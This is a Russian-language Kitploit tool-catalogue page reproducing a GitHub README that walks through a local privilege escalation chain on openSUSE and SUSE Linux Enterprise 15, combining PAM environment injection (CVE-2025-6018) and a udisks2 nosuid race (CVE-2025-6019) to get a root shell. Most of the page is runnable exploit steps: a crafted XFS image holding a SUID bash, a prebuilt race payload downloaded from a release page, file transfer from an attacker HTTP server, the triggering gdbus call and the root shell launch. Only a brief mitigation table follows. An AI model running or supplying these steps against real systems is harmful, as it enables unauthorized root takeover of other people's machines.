Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6018-9-Local-Privilege-Escalation-Chain — Эксплойт-цепочка для локального повышения привилегий на SUSE Linux, объединяющая инъекцию переменных окружения PAM и состояние гонки в udisks2 для получения root-оболочки. | Kitploit
Инструменты/GitHubGitHub/m0r4a/cve-2026-6018-9-local-privilege-escalation-chain
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubm0r4a/cve-2026-6018-9-local-privilege-escalation-chain

CVE-2026-6018-9-Local-Privilege-Escalation-Chain

Эксплойт-цепочка для локального повышения привилегий на SUSE Linux, объединяющая инъекцию переменных окружения PAM и состояние гонки в udisks2 для получения root-оболочки.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
11195 месяцев назадЕщё не проверено

CVE-2025-6018 + CVE-2025-6019: Цепочка локального повышения привилегий

Целевая ОС: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Требуемый доступ: Непривилегированный локальный пользователь с доступом по SSH
Результат: Полный root-шелл

Обзор

В этом документе описывается ручная эксплуатация двух связанных уязвимостей локального повышения привилегий, обнаруженных исследовательским подразделением Qualys Threat Research Unit:

  • CVE-2025-6018 — инъекция переменных окружения PAM через ~/.pam_environment, позволяющая удалённому SSH-пользователю получить статус Polkit allow_active, обычно зарезервированный для физически присутствующих пользователей консоли.
  • CVE-2025-6019 — libblockdev (используемый udisks2) не применяет флаг nosuid при временном монтировании файловой системы во время операции D-Bus Filesystem.Resize, что позволяет выполнить SUID-бинарник с управляемого пользователем loop-устройства.

В совокупности эти уязвимости позволяют любому непривилегированному SSH-пользователю повысить привилегии до root без какого-либо взаимодействия с другими пользователями.

Предварительные требования

Машина атакующего (Kali Linux):

  • Установлен xfsprogs (sudo apt install xfsprogs -y)
  • Доступен gcc
  • Возможность запуска HTTP-сервера (python3 -m http.server)

Целевая машина:

  • openSUSE Leap 15.x или SUSE Linux Enterprise 15.x
  • Установлены udisks2 и polkit (по умолчанию присутствуют в этих системах)
  • Доступен gdbus (часть glib2, устанавливается по умолчанию)
  • Доступ по SSH как непривилегированный пользователь

Шаг 1: Проверка уязвимости

После получения SSH-доступа как непривилегированный пользователь убедитесь, что цель уязвима.

Проверьте ОС:

cat /etc/os-release | grep -E "NAME|VERSION"

Система должна быть openSUSE Leap 15.x или SUSE Linux Enterprise 15.x.

Проверьте, что pam_env читает пользовательские файлы:

grep "pam_env" /etc/pam.d/common-auth

Ищите user_readenv=1 или просто наличие pam_env.so. В стандартных установках SUSE эта функция включена.

Проверьте, что udisks2 и polkit запущены:

systemctl is-active udisks2
systemctl is-active polkit

Проверьте политику Polkit для настройки loop-устройств:

grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy

Значение allow_active должно быть yes.


Шаг 2: CVE-2025-6018 — Получение allow_active через инъекцию PAM

Эта уязвимость использует тот факт, что pam_env.so читает ~/.pam_environment во время входа по SSH и внедряет эти переменные в окружение сеанса до того, как pam_systemd.so оценит контекст сеанса. Устанавливая XDG_SEAT и XDG_VTNR, атакующий обманывает systemd-logind, заставляя его рассматривать удалённый SSH-сеанс как сеанс физической консоли, предоставляя привилегии Polkit allow_active.

Внедрите переменные:

echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment

Выйдите и переподключитесь по SSH, чтобы запустить обработку PAM:

exit
ssh user@<target_ip>

Проверьте, что allow_active теперь предоставлен:

loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"

Вывод должен показывать:

Active=yes
Seat=seat0
VTNr=1

Установите идентификатор сеанса и адрес D-Bus, если они не заполнены автоматически:

export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

Шаг 3: Подготовка вредоносного XFS-образа (машина атакующего)

XFS-образ должен быть отформатирован с функциями, совместимыми с ядром SUSE 15. Современные версии xfsprogs по умолчанию включают такие функции, как exchange, parent, bigtime, inobtcount и nrext64, которые не поддерживаются старыми ядрами SUSE и вызовут сбои монтирования. Следующие флаги создают совместимый XFS-образ V5:

dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500

mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image

Смонтируйте образ и внедрите SUID-бинарник bash:

sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt

Вывод должен показывать -rwsr-xr-x 1 root root.


Шаг 4: Подготовка перехватчика состояния гонки (машина атакующего)

Поскольку окно уязвимого монтирования во время Filesystem.Resize составляет лишь несколько миллисекунд, для его надёжного перехвата требуется скомпилированный C-бинарник. Чистый Bash-цикл слишком медленный.

Загрузите предварительно скомпилированный пейлоад со страницы релизов:

wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload

[!NOTE] Вы также можете скомпилировать бинарник самостоятельно. Исходный код доступен в payload.c.

Раздайте оба файла по HTTP:

cd /tmp && python3 -m http.server 8888

Шаг 5: Передача файлов на цель

# Передача XFS-образа
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image

# Передача бинарника-перехватчика
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload

Шаг 6: CVE-2025-6019 — Эксплуатация состояния гонки в udisks2

Этот шаг требует двух одновременных SSH-сеансов к цели.

Настройте loop-устройство (в любом сеансе):

udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction

Запомните назначенное loop-устройство, например /dev/loop1.

Сеанс 1: Запустите перехватчик и оставьте его работать:

/tmp/payload

[!NOTE] Если перехватчик немедленно завершает работу без получения root-шелла, попробуйте запустить его до настройки loop-устройства и повторите последовательность.

Сеанс 2: Немедленно запустите изменение размера:

export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

Вызов Resize вернёт ошибку, но перед сбоем libblockdev смонтирует файловую систему во временный путь /tmp/blockdev.XXXXXX/ без флага nosuid. Перехватчик в сеансе 1 обнаруживает это монтирование, выполняет SUID-бинарник bash из него, копирует root-шелл в /tmp/rootbash и запускает его.

[!NOTE] Если у вас возникают проблемы с Not authorized to perform operation, попробуйте использовать тот терминал, в котором вы успешно выполнили команду udiskctl loop-setup..., а другой шелл используйте для запуска скрипта /tmp/payload.


Шаг 7: Получение root-шелла

После завершения работы перехватчика root-шелл либо запускается автоматически, либо его можно получить через:

/tmp/rootbash -p
whoami
# root

Устранение уязвимостей

КомпонентИсправление
CVE-2025-6018Отключите user_readenv в PAM: установите user_readenv=0 в /etc/pam.d/common-auth
CVE-2025-6019Обновите libblockdev и udisks2 до исправленных версий от вендора дистрибутива
Усиление PolkitИзмените allow_active на auth_admin для org.freedesktop.udisks2.loop-setup в файле политики UDisks2
Скачать инструмент